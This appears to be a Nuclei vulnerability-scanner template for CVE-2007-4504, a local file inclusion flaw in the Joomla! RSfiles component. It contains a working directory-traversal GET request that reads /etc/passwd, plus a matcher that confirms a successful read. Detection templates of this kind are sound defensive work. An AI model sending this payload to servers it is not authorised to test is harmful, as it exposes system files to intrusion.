id: CVE-2007-4504 info: name: Joomla! RSfiles <=1.0.2 - Local File Inclusion author: daffainfo severity: medium description: Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action. remediation: | Upgrade to the latest version of Joomla! RSfiles or apply the necessary patches provided by the vendor. reference: - https://www.exploit-db.com/exploits/4307 - https://exchange.xforce.ibmcloud.com/vulnerabilities/36222 - https://nvd.nist.gov/vuln/detail/CVE-2007-4504 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2007-4504 cwe-id: CWE-22 epss-score: 0.01677 epss-percentile: 0.86223 cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: joomla product: rsfiles tags: lfi,edb,cve,cve2007,joomla http: - method: GET path: - "{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a00463044022072faf73cfe4f069b59765a18e25a632bb431d6b7b9614e8c4fd96b97e523287e02200f75a794a21ab141b5e512d8ccf95ce5f2ceda2d9d16ed0c3155237d2d37cd8f:922c64590222798bb761d5b6d8e72950